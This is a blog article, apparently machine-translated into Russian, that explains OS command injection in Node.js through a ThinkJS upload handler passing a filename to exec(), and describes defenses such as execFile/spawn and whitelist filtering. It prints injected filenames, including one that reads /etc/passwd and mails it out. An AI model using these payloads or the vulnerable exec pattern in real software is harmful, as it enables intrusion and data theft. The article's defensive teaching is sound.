Внедрение команд ОС для уязвимостей веб-безопасности

Node.js задняя часть Командная строка Безопасность Shell ThinkJS
Внедрение команд ОС для уязвимостей веб-безопасности

Что такое внедрение команд ОС

На прошлой неделе мы поделилисьSQL-инъекция для уязвимостей веб-безопасностиПринцип просто потому, что SQL является структурированным строковым языком, и злоумышленники используют уязвимость, которая может создавать операторы по желанию, чтобы создавать операторы, которые разработчики не ожидают. Внедрение команд ОС, о котором мы сегодня поговорим, на самом деле похоже на внедрение SQL, но сценарий другой. Атака с внедрением ОС относится к сценарию, в котором программа предоставляет функцию для прямого выполнения команд оболочки.Когда злоумышленник использует ее необоснованно, а разработчик не учитывает факторы безопасности для пользовательских параметров, будут выполняться вредоносные вызовы команд, которые будут использованы злоумышленник.

Доступно в Node.jsexec()Выполнение заказа. на основеThinkJSРазвитая система блогов.FirekylinНапример, для пользователей существует функция загрузки сжатых пакетов и импорта данных, которая используется непосредственно для удобства.tarКоманда для распаковки файла, примерный код такой:

const { exec } = require('child_process');

const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
    async upload() {
        const { path: filePath } = this.file('import');
        exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
    }
}

вfilePathВременный путь загрузки, содержащий имя загруженного пользователем файла. Предположим, что имя файла, загруженного пользователем в это время,$(whoami).tar.gz, то наконецexec()эквивалентно выполнениюtar zvxf "/xxx/runtime/$(whoami).tar.gz". В Bash двойные кавычки$()Обернутая часть будет выполняться как команда, и, наконец, достигается ужасный результат, когда пользователь выполняет команду оболочки непосредственно за пределами настройки программы. Подобные варианты написания также``пакет. Конечно, то, что я написал здесьwhoamiКажется, команда работает нормально, если она$(cat /etc/passwd | mail -s "host" i@imnerd.org).tar.gzЕсли вы можете напрямую получить машинный пароль и тому подобное, вы сможете осознать всю ужасность этой уязвимости.

Почему возникают проблемы с использованием exec?

Потому что под движком child_process.exec для выполнения будет вызываться "/bin/sh". а не целевая программа. Отправляемая команда просто передается новому процессу '/bin/sh' для выполнения оболочки. Название child_process.exec несколько вводит в заблуждение - это интерпретатор bash, а не запускающая программу. Это означает, что все символы оболочки могут иметь разрушительные последствия. последствия, если они выполняются напрямую с аргументами, введенными пользователем. через:Как избежать уязвимостей безопасности, связанных с внедрением командной строки в Node.js

Опасности внедрения команд ОС

Как я только что сказал, из-за возможности непосредственного выполнения системных команд вред уязвимостей внедрения команд ОС не требует повторного подчеркивания. Короче говоря, вы можете в основном «делать все, что хотите».

为所欲为

способ защиты

Использовать execFile/spawn

В Node.js кромеexec()Кроме того, естьexecFile()а такжеspawn()Оба метода также можно использовать для выполнения системных команд. они иexec()Разница в том, что последний должен напрямую передать командную строку в/bin/shExecute, а первый предоставляет массив в качестве контейнера параметров, и, наконец, параметры будут напрямую переданы методу выполнения команды Cexecve(), реализовать дополнительные параметры непросто.

При использовании spawn или execfile наша цель — выполнить только одну команду (аргумент). Это означает, что пользователь не может запустить внедренную команду, потому что/bin/lsНе уверен, как обращаться с обратными кавычками, конвейерами или ;. это/bin/shЧто будет объяснено, так это параметры этих команд. через:Как избежать уязвимостей безопасности, связанных с внедрением командной строки в Node.js

Однако это не идеальное решение, фактически это фильтр, который использует исполняемую команду для приема только обычных параметров. Но некоторые команды, такие как/bin/find,Это обеспечивает-execпараметры, последующие параметры будут выполняться как команды после передачи, которые возвращаются в исходное состояние.

Проверка белого списка

В дополнение к вышеуказанным методам мы также можем выбрать фильтрацию и проверку параметров, введенных пользователем. Например, в примере с загрузкой файла в начале статьи, поскольку это имя файла, загруженного пользователем, в зависимости от контекста мы можем ограничить его, чтобы разрешить только простые английские имена файлов и отфильтровать все остальные, который также может избежать цели инъекции. Конечно, черный список не является невозможным, но есть много ситуаций, которые необходимо учитывать, как указано выше.``,$()Необходимо учитывать и другие ситуации, и такие операции, как экранирование, трудно предотвратить, в отличие от белого списка, который прост и эффективен.

let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, '');

Конечно, лучше не позволять пользователям вводить параметры, а позволить пользователям выбирать.

постскриптум

В Интернете мало статей с описанием уязвимостей внедрения команд в Node.js, большинство из которых в PHP. Хотя общий принцип один и тот же, разные языки немного отличаются в конкретной обработке защиты, поэтому я написал эту статью, чтобы поделиться с вами. Конечно, в дополнение к проверке, использование пользователя без полномочий root для запуска программ с целью ограничения их разрешений также может иметь определенный эффект. Кроме того, вы можете регулярно искать код для использованияexec()команда, чтобы увидеть, есть ли какие-либо проблемы. В настоящее время я должен порекомендовать инструмент статического анализа для замены сканирования человеческой плоти, но в Node.js не так много инструментов статического анализа. Короче говоря, если вы можете использовать системные команды в повседневной разработке, постарайтесь их не использовать, если вы действительно не можете их использовать, вы также должны их проверить.spawn()и другие более безопасные методы.

Использованная литература: